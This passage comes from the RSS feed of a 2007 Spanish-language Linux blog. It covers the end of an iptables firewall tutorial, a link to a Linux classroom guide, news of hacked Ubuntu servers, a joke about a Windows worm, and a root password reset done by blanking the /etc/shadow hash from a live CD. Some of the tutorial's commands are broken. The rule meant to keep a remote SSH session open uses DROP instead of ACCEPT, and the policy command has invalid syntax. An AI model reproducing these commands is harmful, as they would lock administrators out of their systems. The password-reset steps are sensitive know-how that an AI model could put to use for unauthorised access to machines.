/> Además, un detalle realmente importante: si bien todas estas reglas, se aplicarían sin problemas, y son correctas sintácticamente, es MUY ACONSEJABLE seguir la filosofía de "Todo lo que no está EXPLICITAMENTE permitido, entonces está prohibido".<br
/> Como logramos esto? Como primer paso, setearemos la politica por defecto en DROP (descartar). Cualquier paquete que circula por la cadena INPUT es DROPeado si no coincide con ninguna regla.<br
/> En caso de que estén editando el iptables desde una consola local, pueden ignorar el parrafo siguiente:<br
/> -------------<br
/> * NOTA IMPORTANTE: para aquellos que estan toqueteando el iptables remotamente (ya sea por telnet o ssh), si setean como política DROP para la cadena INPUT se les caerá la conexión. De hecho me pasó a mi, es por eso que previamente deberan agregar la siguiente regla:</p><p><cite>[root@malevolo/]# /sbin/iptables -A INPUT -p tcp -s #ORIGEN# --dport #PUERTO# -j DROP</cite></p><p>Donde #ORIGEN# es el IP desde donde se están conectando al linux con iptables y #PUERTO# debe ser el 22 (si es conexion ssh) o 23 (si usan telnet).<br
/> -------------<br
/> Ahora, como decíamos, continuaremos seteando la política de INPUT en DROP (con la opción -P)</p><p><cite>[root@malevolo/]# /sbin/iptables -P INPUT -j DROP</cite></p><p>Vaciamos todas las cadenas con la opción -F (flush)</p><p><cite>[root@malevolo/]# /sbin/iptables -F</cite></p><p>Listamos lo que tenemos:</p><p><cite>[root@malevolo/root]# /sbin/iptables -nL INPUT<br
/> Chain INPUT (policy DROP)<br
/> target prot opt source destination</cite></p><p>Aunque no tengamos ninguna regla, nadie va a poder acceder a nuestra PC por ningun motivo. Justamente, cualquier paquete que entra, es expuesto a cada regla de la cadena (en nuestro caso nuestra cadena esta vacía), al no encontrar coincidencias, el destino del paquete, lo decide la política de la cadena, osea DROP. El problema aquí es que aunque nosotros podamos realizar<br
/> conexiones salientes, las respuestas de los servidores serán descartadas. Para solucionar esto, agregamos la siguiente regla:</p><p><cite>[root@malevolo/root]# /sbin/iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT</cite></p><p>Por la cual dejamos pasar cualquier paquete cuya conexión ya se ha establecido (ESTABLISHED), o cuya conexión es nueva, pero está relacionada a una conexión ya establecida (RELATED), según las man pages del iptables (les dije que las lean, no?) Por enésima vez, listamos lo que tenemos en nuestra cadena INPUT!!</p><p><cite>[root@malevolo/root]# /sbin/iptables -nL INPUT<br
/> Chain INPUT (policy DROP)<br
/> target prot opt source destination<br
/> ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state<br
/> RELATED,ESTABLISHED</cite></p><p>Con lo cual, nadie podrá iniciar una conexion a nuestra maquina, salvo que<br
/> especifiquemos... Como veréis, por defecto tenemos un DROP. Ahora podemos empezar a permitir conexiones. Acceso local:</p><p><cite>[root@malevolo/root]# /sbin/iptables -A INPUT -i lo -s 127.0.0.1 -j ACCEPT</cite></p><p>-i lo : Con esto especifico como interfaz de red a localhost (lo).</p><p><cite>[root@malevolo/root]# /sbin/iptables -nL INPUT<br
/> Chain INPUT (policy DROP)<br
/> target prot opt source destination<br
/> ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state<br
/> RELATED,ESTABLISHED<br
/> ACCEPT all -- 127.0.0.1 0.0.0.0/0</cite></p><p>Le permito a "neutral", el acceso ftp (puerto 21)</p><p><cite>[root@malevolo/root]# /sbin/iptables -A INPUT -p tcp -s 192.168.1.18 --dport 21 -j ACCEPT<br
/> [root@jose /root]# /sbin/iptables -nL INPUT<br
/> Chain INPUT (policy DROP)<br
/> target prot opt source destination<br
/> ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state<br
/> RELATED,ESTABLISHED<br
/> ACCEPT all -- 127.0.0.1 0.0.0.0/0<br
/> ACCEPT tcp -- 192.168.1.18 0.0.0.0/0 tcp dpt:21</cite></p><p><cite></cite><br
/> <strong>Consejos útiles y comentarios finanles</strong></p><p>Por último, no apaguéis aun vuestra máquina. Los cambios realizados 'on-the-fly' a iptables, no quedan guardados en ningún archivo, sino que se almacenan en memoria, y como sabréis, al reiniciar, los cambios se borrarán. Tened en cuenta los siguientes consejos:<br
/> 1) Guardad todas vuestras reglas en un script prolijo, y con comentarios explicando cada regla o grupo de reglas aplicadas<br
/> 2) En caso de ejecutar el script automáticamente al iniciar la máquina, considerad hacerlo antes de levantar ningún servicio, o mejor aún, antes de levantar ninguna interfaz de red. No os preocupéis por las reglas que hacen referencia a interfaces no levantadas, igualmente son aceptadas por iptables.</p><p>Visto en: <a
href="http://www.badopi.org/node/977" target="_blank">badopi.org</a></p> ]]></content:encoded> <wfw:commentRss>http://pensandoenred.com/2007/09/03/aprendiendo-a-usar-iptables-desde-cero/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Instalación y administración de aulas informáticas basadas en LINUX</title><link>http://pensandoenred.com/2007/08/21/instalacion-y-administracion-de-aulas-informaticas-instalacion-y-administracion-de-aulas-informaticas-basadas-en-linux/</link> <comments>http://pensandoenred.com/2007/08/21/instalacion-y-administracion-de-aulas-informaticas-instalacion-y-administracion-de-aulas-informaticas-basadas-en-linux/#comments</comments> <pubDate>Tue, 21 Aug 2007 14:04:16 +0000</pubDate> <dc:creator>mariotux</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Seguridad]]></category> <category><![CDATA[Software Libre]]></category> <guid
isPermaLink="false">http://www.pensandoenred.com/2007/08/21/instalacion-y-administracion-de-aulas-informaticas-instalacion-y-administracion-de-aulas-informaticas-basadas-en-linux/</guid> <description><![CDATA[Navegando por la red en busca de información sobre este nuestro tan dichoso sistema operativo que utilizamos he encontrado esta documentación que desde luego merece la pena mencionar ya que creo que se ha tomado un buen trabajo para redactarlo. Es un documento sobre la Instalación y administración de aulas informáticas basadas en Linux, que [...]]]></description> <content:encoded><![CDATA[<p>Navegando por la red en busca de información sobre este nuestro tan dichoso sistema operativo que utilizamos he encontrado esta documentación que desde luego merece la pena mencionar ya que creo que se ha tomado un buen trabajo para redactarlo.</p><p>Es un documento sobre la Instalación y administración de aulas informáticas basadas en Linux, que bien se podría extender a la creación de una LAN para una PYME.</p><p><a
href="http://oasis.dit.upm.es/~jantonio/conferencia/" target="_blank">Instalación y administración de aulas informáticas basadas en Linux</a></p><p>El autor: Juan Antonio Martínez Castaño - <a
href="http://www.dit.upm.es/%7Ejantonio"><em>http://www.dit.upm.es/~jantonio</em></a></p> ]]></content:encoded> <wfw:commentRss>http://pensandoenred.com/2007/08/21/instalacion-y-administracion-de-aulas-informaticas-instalacion-y-administracion-de-aulas-informaticas-basadas-en-linux/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Hackeados los servidores de Ubuntu</title><link>http://pensandoenred.com/2007/08/16/hackeados-los-servidores-de-ubuntu/</link> <comments>http://pensandoenred.com/2007/08/16/hackeados-los-servidores-de-ubuntu/#comments</comments> <pubDate>Thu, 16 Aug 2007 14:19:50 +0000</pubDate> <dc:creator>mariotux</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Seguridad]]></category> <category><![CDATA[Ubuntu]]></category> <guid
isPermaLink="false">http://www.pensandoenred.com/2007/08/16/hackeados-los-servidores-de-ubuntu/</guid> <description><![CDATA[El proyecto Ubuntu tuvo que cerrar 5 de 8 servidores de producción después de detectar que habían comenzado a atacar a otros sistemas, presumiblemente con spam. Canonical Ltd. culpa a los usuarios sus Comunidades Locales ("LoCo") a cargo de ellos, diciendo que fueron pobremente administrados. Sin embargo, Canonical no está libre de culpas: los servidores [...]]]></description> <content:encoded><![CDATA[<p>El proyecto Ubuntu tuvo que <a
href="https://wiki.ubuntu.com/UbuntuWeeklyNewsletter/Issue52#head-b009291e4151391137b8f04a53adea995d0ee280">cerrar 5 de 8 servidores</a> de producción después de detectar que habían comenzado a atacar a otros sistemas, presumiblemente con <em>spam</em>. Canonical Ltd. culpa a los usuarios sus Comunidades Locales ("LoCo") a cargo de ellos, diciendo que fueron pobremente administrados.</p><p>Sin embargo, Canonical no está libre de culpas: los servidores no podían actualizar su Kernel porque el hardware, que ellos mismos habían patrocinado, era incompatible...</p><p>La gran pregunta es ahora si alguno de los archivos distribuídos por esos servidores fueron modificados antes de llegar a otros usuarios.</p><p>Artículo completo en <a
href="http://it.slashdot.org/article.pl?sid=07/08/15/1341224&amp;from=rss">Slashdot</a></p><p>Visto en: <a
href="http://www.vivalinux.com.ar/eventos/ubuntu-hackeado.html" target="_blank">Viva Linux</a></p> ]]></content:encoded> <wfw:commentRss>http://pensandoenred.com/2007/08/16/hackeados-los-servidores-de-ubuntu/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Un buen motivo para usar Linux</title><link>http://pensandoenred.com/2007/08/12/un-buen-motivo-para-usar-linux/</link> <comments>http://pensandoenred.com/2007/08/12/un-buen-motivo-para-usar-linux/#comments</comments> <pubDate>Sun, 12 Aug 2007 15:23:57 +0000</pubDate> <dc:creator>mariotux</dc:creator> <category><![CDATA[Seguridad]]></category> <guid
isPermaLink="false">http://www.pensandoenred.com/2007/08/12/un-buen-motivo-para-usar-linux/</guid> <description><![CDATA[Todos disfrutamos de nuestra colección personal de mp3 a menudo, y dadas las conexiones de hoy en día de todos es sabido que los Gb de mp3 son muy valiosos y solo falta que un gusanito nos fastidie la información A traves de la noticia Gusano come MP3, en S.O. Window que he leido en [...]]]></description> <content:encoded><![CDATA[<p>Todos disfrutamos de nuestra colección personal de mp3 a menudo, y dadas las conexiones de hoy en día de todos es sabido que los Gb de mp3 son muy valiosos y solo falta que un gusanito nos fastidie la información</p><p>A traves de la noticia <a
href="http://www.ilusionas.com/blog/index.php/2007/08/05/gusano-come-mp3-en-windows/" rel="bookmark" title="Link Permanente a "Gusano come MP3, en S.O. Windows"">Gusano come MP3, en S.O. Window</a> que he leido en el blog de nuestro amigo <a
href="http://www.ilusionas.com/blog" target="_blank">Ilusionas</a> he decido publicar este post.</p><p>Si eres uno de los usuarios de Windows afectado por este gusano... recuerda esto:</p><p>" ¡¡Con linux no te hubiera pasado!! "</p> ]]></content:encoded> <wfw:commentRss>http://pensandoenred.com/2007/08/12/un-buen-motivo-para-usar-linux/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Como recuperar el password de root</title><link>http://pensandoenred.com/2007/08/12/como-recuperar-el-password-de-root/</link> <comments>http://pensandoenred.com/2007/08/12/como-recuperar-el-password-de-root/#comments</comments> <pubDate>Sun, 12 Aug 2007 10:31:50 +0000</pubDate> <dc:creator>mariotux</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Seguridad]]></category> <guid
isPermaLink="false">http://www.pensandoenred.com/2007/08/12/como-recuperar-el-password-de-root/</guid> <description><![CDATA[Si tenemos que recuperar el acceso a una máquina de la cual no tenemos el password de root o bien se nos ha olvidado, no os preocupéis es más sencillo de lo que parece. Es necesitamos tener acceso físico a la máquina para poder hacerlo. La idea, es arrancar con un live CD montar la [...]]]></description> <content:encoded><![CDATA[<p>Si tenemos que recuperar el acceso a una máquina de la cual no tenemos el password de root o bien se nos ha olvidado, no os preocupéis es más sencillo de lo que parece.</p><p>Es necesitamos tener acceso físico a la máquina para poder hacerlo.</p><p>La idea, es arrancar con un live CD montar la unidad de disco y editar el fichero /etc/shadow</p><p>En mi caso utilicé una <a
href="http://www.knoppix.com/" target="_blank">Knoppix</a> por la sencillez para realizar las opciones de montaje de disco.  Al arrancar el Live CD te detecta las unidades de disco que tiene el equipo, hacemos click con el botón izquierdo del ratón sobre el disco que contiene la información a editar y seleccionamos la opción de "Montar". Una vez montado el disco podemos acceder a su información pero no lo monta con acceso de escritura, por lo que debemos volver a hacer click con el botón izquierdo y seleccionar la opción de "Lectura y Escritura" donde tendremos que confirmar el cambio.</p><p><span
id="more-22"></span></p><p>Bien, ya tenemos la mitad del camino hecho. Ahora abrimos un terminal y nos pasamos a root con su - donde introduciremos el password de root del Live CD (creo recordar que en <a
href="http://www.knoppix.com/" target="_blank">Knoppix</a> el password es <em>"linux"</em>)</p><p>Editamos el fichero shadow que es el que guarda las contraseñas de los usuarios en linux con nuestro editor favorito; vi,vim,nano,jpico...</p><p>El usuario root suele ser el primero, si no una vez localizado observaremos que la linea es como esta:</p><p>root:$1$DdeRafk93Adia343kas/:0:0:99999:7:::</p><p>Lo único que debemos hacer para dejar el password en blanco es eliminar el churro encriptado  del string de la contraseña:</p><p>root::0:0:99999:7:::</p><p>Ahora al arrancar la máquina el password del root es vacío por lo que una vez iniciada la sesión lo primero que haremos es ponerle una nuevo password:</p><p>#root@maquina&gt; passwd</p><p>Y ya hemos recuperado el control de la máquina.</p> ]]></content:encoded> <wfw:commentRss>http://pensandoenred.com/2007/08/12/como-recuperar-el-password-de-root/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
